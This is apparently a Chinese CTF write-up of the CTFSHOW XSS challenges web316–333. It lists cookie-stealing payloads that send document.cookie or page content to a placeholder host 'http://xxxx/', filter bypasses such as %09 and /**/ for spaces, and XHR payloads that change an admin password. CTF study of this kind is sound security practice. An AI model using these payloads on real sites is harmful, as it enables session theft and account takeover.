XSS是什么?

XSS简介

CTFSHOW

web316

直接用自己的服务器来监听了OvO

一些姿势:

<script>location.href="http://xxxx/"+document.cookie</script>

<script>
var img=document.createElement("img"); img.src="http://xxxx/"+document.cookie;
</script>

<script>window.open('http://xxxx/'+document.cookie)</script>

<script>window.location.href='http://xxxx/'+document.cookie</script>

<script>location.href='http://xxxx/'+document.cookie</script>

<input onfocus="window.open('http://xxxx/'+document.cookie)" autofocus>

<svg onload="window.open('http://xxxx/'+document.cookie)">

<iframe onload="window.open('http://xxxx/'+document.cookie)"></iframe>

<body onload="window.open('http://xxxx/'+document.cookie)">

web317

过滤了script

web318

过滤了img

web319

不知道过滤了什么...

web320-322

过滤了空格,用%09来代替

web323-326

据说过滤了iframe。。。

反正我用body。。。没有感觉。。。



web327

收件人一定要是admin。。。不知道为什么..

web328

这题就是在注册时把XSS当密码就行了

注意用body时用/**/代替空格

web329

太有趣了

这题能读到cookie也没用,因为网站发给你的时候cookie就失效了...

所以要想办法读到网站的内容

<script>window.open('****/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script>

web330

这题多了一个修改密码!然后我们XSS的目标就是去修改管理员密码

<script>window.open('http://127.0.0.1/api/change.php?p=1234567')</script>

答案还有个做法是去别的地方找flag

<script>window.open('http://xxxx/'+document.querySelector('#top > div.layui-container').textContent)</script>

<script>window.open('http://xxxx/'+document.getElementsByClassName('layui-container')[0].outerHTML)</script>

据说后者不能递归

留个坑。。等学了js再填

web331

这次修改密码是post了。。。先试了一下上面的payload2。xss注入在用户名那里,并且要注意空格。。。

预期解应该是用XMLHttpRequest来发送post请求

下面这个是XHR的原型...

var httpRequest = new XMLHttpRequest();//第一步:创建需要的对象
httpRequest.open('POST', 'url', true); //第二步:打开连接
httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");//设置请求头 注:post方式必须设置请求头(在建立连接后设置请求头)
httpRequest.send('name=teswe&ee=ef');//发送请求 将情头体写在send中
/**
 * 获取数据后的处理程序
 */
httpRequest.onreadystatechange = function () {//请求后的回调接口,可将请求成功后要执行的程序写在其中
    if (httpRequest.readyState == 4 && httpRequest.status == 200) {//验证请求是否发送成功
        var json = httpRequest.responseText;//获取到服务端返回的数据
        console.log(json);
    }
};

模仿着写一个payload

<script>var/**/a=new/**/XMLHttpRequest();a.open('POST','http://127.0.0.1/api/change.php',true);a.setRequestHeader("Content-type","application/x-www-form-urlencoded");a.send('p=1234567');</script>

web332

这题有点云里雾里。。。

要用户名注册xss才能转账

但学到了逻辑漏洞!可以转负数的钱!

web333

这题不知道和xss有什么关系。。。

反正就是自己给自己打钱...



参考资料

CSDN